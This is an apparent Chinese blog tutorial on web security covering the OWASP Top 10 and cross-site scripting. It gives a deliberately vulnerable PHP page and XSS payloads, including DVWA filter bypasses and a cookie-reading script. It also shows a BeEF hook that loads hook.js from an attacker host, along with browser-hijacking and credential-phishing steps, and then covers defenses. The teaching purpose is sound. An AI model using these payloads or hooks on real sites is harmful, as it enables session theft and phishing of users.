Web应用安全

介绍:

1.web应用安全是Web渗透测试的理论基础.

2.主要内容是OWASP Top 10,十大安全漏洞,讲解漏洞的原理、验证、利用、防御。另外,还包括代码审计。

Welcome to OWASP CHINA — OWASP-CHINA  

Web安全的知识体系以OWASP Top 10为标准。

2021年排名第一的是:失效的访问控制

A01失效的访问控制

越权漏洞-是一种逻辑漏洞,可以将其划分到失效的访问控制。

特别是在一些大学网站中,这种漏洞比较多。例如:张三登录后,应该只能查询到张三的成绩。但是如果存在该类漏洞,通过变换参数输入的是其它同学的学号,张三也可以查询到其它学生的成绩。

  

A02 加密机制失效(敏感信息泄露)

例如:网站的源码备份文件、网站的数据库备份文件、保存敏感信息的xls表文件。

课下作业一: google的搜索语法: google hacking

必应   微软提供的,功能类似于百度的,搜索网站.很多搜索网站都可以使用google的搜索语法.

1.搜索所有后台登录页面:

inurl:.cn 登录

A03 注入

Sql注入、命令注入、代码注入、XSS(跨站脚本)(js代码注入)等等

A04 不安全设计

和开发人员缺乏安全知识和安全意识,可能从业务逻辑上存在漏洞

A05安全配置错误

操作系统、Web容器、数据库、网站都可能由于配置不当,产生漏洞

A06 自带缺陷和过时的组件

A07 身份识别和身份验证错误

例如:弱口令问题、验证码返回问题

A08 软件和数据完整性故障(以后介绍)

不安全的反序列化

A09 安全日志和监控故障

A10 服务器端请求伪造(以后介绍)

问题:A01与A07这两类漏洞的区别? 另外,我们对照17和21数据的变化。

1.XSS

1.1 什么是XSS?

全称 Cross-Site Scripting,中文是跨站脚本。

从本质上xss也属于注入漏洞的一种,它是js代码注入。被注入的恶意的js代码是在前端浏览器执行的,所以属于前端漏洞,产生的危害:用户资料的窃取、cookie的劫持、钓鱼欺骗等等。

1.2 XSS分类

  1. 反射型XSS
  2. 持久型XSS
  3. DOM型XSS

1.3 反射型XSS

接收用户提交的访问者的姓名,并返回给浏览器。

1.xss_reflect.php(实现一个有反射型XSS漏洞的服务器)

<?php
header("Content-Type:text/html;charset=utf-8");
// 1.
接收用户提交的参数
$name=$_GET['name'];
 // 2.
没有做任何的检查和过滤,直接将数据响应回浏览器(存在XSS漏洞)
echo "
欢迎您:".$name."<br>";
?>

HTML

2.漏洞利用步骤

1.黑客利用服务器上的XSS漏洞,构造恶意的链接,发送给受害者,引诱受害者点击这个链接

http://127.0.0.1/websec/day01/xss_reflect.php?name=<script>alert(1)</script>

HTML

2.受害者点击该链接,向服务器发送包含恶意js代码的请求。

3.服务器接收受害发送的请求,没有对参数做检查和过滤,直接将恶意的js代码响应给受害者。

4.受害者收到服务器响应回来的恶意的js代码,并由浏览器解析执行,受到攻击!

一些信息的搜索框,可能存在反射型的XSS。

1.4 存储型XSS

1.黑客利用服务器上的XSS漏洞,提交恶意的js代码,服务器将恶意代码存储到数据库

2.受害者(其他用户)访问服务器的某个页面,而这个页码会使用到数据库的数据。服务器从数据库获取恶意的js代码,并返回给受害者。

存储型XSS漏洞利用条件比较简单,危害面也比较广,比反射型XSS更受到关注!

漏洞挖掘时,XSS漏洞的产生的场景

用户注册,可以尝试在除密码之外的每一个输入框中都增加<script>alert(1)</script>.例如:邮箱可以使用@163.com<script>alert(1)</script>这样的数据,登录后,如果页面有邮箱显示,就会弹框.

论坛的文章发表,评论,交流的输入框中,都可以尝试<script>alert(1)</script>

电商网站的商品评价\回复的输入框,也可以尝试<script>alert(1)</script>

如果已经登录,有cookie,通过js代码获取cookie数据并显示。

<script>alert( document.cookie )</script>

纯文本

1.5 DOM型XSS

恶意代码不需要通过服务器的,直接在前端浏览器的页面中被调用的。为什么称为DOM型XSS?

因为是在前端页面中,通过DOM函数,动态增加页面标签时,使用了恶意的代码,所以称为DOM型。

127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>

dom型XSS的漏洞利用步骤与反射型的步骤相同。都需要构造恶意链接引诱受害者点击!

1.6 如何验证是否存在XSS漏洞

payload:<script>alert(1)</script>

                 <img src=1 οnerrοr=alert(1)>

如果直接显示,表示没有漏洞;如果弹窗,说明存在漏洞。

1.7 DVWA靶场的介绍

DVWA靶场登录名admin密码是 password。登录后,设置安全级别.

四个安全级别:(存储型XSS的案例)

1.low:对漏洞没有做任何的防护,漏洞利用比较简单。<script>alert(1)</script>

2.medium:对漏洞做了简单的防护,需要我们进行一定的绕过。

$name = str_replace( '<script>', '', $name );

纯文本

str_replace()函数,删除了特征字符串<script>。使用大小写绕过<ScripT>alert(1)</ScripT>

如果遇到前端的长度限制,直接使用浏览器的审查元素,修改或删除长度限制。

3.high:对漏洞做了进一步的防护,需要我们进一步的绕过。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

纯文本

对script做了精确的匹配后,使用另外一个payload: <img src=1 οnerrοr=alert(1)>

4.impossible:对漏洞做了严密的防护,找不到漏洞。

后端代码对xss的防御:将<、>进行字符实体编码的替换。

1.8 XSS漏洞利用(攻击)

1.8.1.beef-xss 漏洞利用工具的安装

如果出现签名无效

wget archive.kali.org/archive-key.asc
apt-key add archive-key.asc

text

在kali中安装beef

# apt-get update
# apt-get install ruby     # yes or no
,选择 yes ; 确定或取消, 确定
# apt-get install beef-xss # 123456

text

在安装中,一路yes!  

然后启动beef

# beef-xss

text

需要设置密码,我们设置的是123456

然后在浏览器中,用户名:beef ,密码:123456登录即可。

如果忘记beef密码,可以查看或修改配置文件,(第7、8行)

vi /etc/beef-xss/config.yaml

text

注意去掉手动设置的代理,保证kali和真机相互可以ping通。如何可以ping通,但是kali中无法访问真机中部署的网站,查看真机的防火墙状态,关闭防火墙,再尝试访问。

2.beef-xss的使用

启动beef-xss

# beef-xss

HTML

在浏览器的登录页面中,账号输入beef,密码输入123456,进入主界面。

在靶场有XSS漏洞的页面,输入如下的payload:

<script src="http://kaliIP:3000/hook.js"></script>
<
script src="http://192.168.80.128:3000/hook.js"></script>

HTML

3.回到beef主界面中,可以执行命令

1.获取cookie

2.页面跳转

Browser→Redirect Browser - 强制目标网站重定向到黑客指定的网站

3.通过登录框钓鱼

Social Engneering→Pretty Threft  -弹窗登录框,让受害者输入用户名和密码,在后台获取

BeEF界面

zombie(僵尸)即受害的浏览器, 每隔一段时间(默认为1秒)就会向BeEF服务器发送请求, 询问是否有新的代码需要执行

Online Browsers:在线的主机,现在该主机浏览器执行了JS脚本代码

Offline Browers:不在线的主机,该主机曾经执行过JS脚本代码

Details:浏览器信息详情
 

Logs:能记录你在浏览器上的操作
 

Commands:你能对该浏览器进行哪些操作

1、绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
 

2、橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(例如弹窗、提示、跳转等)
 

3、灰色:命令模块尚未针对止一口此目标进行验证,不知道是否可运行
 

4、红色:命令模块不适用于此目标

劫持浏览器

社工弹窗

用户端出现登录弹窗,诱使用户输入用户名密码

假设用户输入了用户名/密码

在beef处,点击“command 1”,可以查看到用户输入的用户名,密码

1.8.2 在线的xss漏洞利用平台

......

1.9 XSS的防御

输入验证、输出过滤。

DWWA靶场,当在后端代码中对<script>做正则的验证限制时,意味着在payload不允许出现<script>,无论大小写。

我们换一个payload:

<img src=1 onerror=alert(1)>

HTML

impossible级别:将特殊字符<、 >,替换成了html字符实体编码,这是最终的好的防御方案。

在后端php代码中,htmlspecialchars这是函数就是完成以上所述的操作的。

 $name =  htmlspecialchars ( $_GET[ 'name' ] );

HTML

xss防御的实际案例,例如:在博客园发表文章。也是将特殊字符做html字符实体编码替换。

http only是xss防御的一种方案。在后端代码设置cookie值的时候,通过参数设置不允许使用javascript读取cookie数据。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值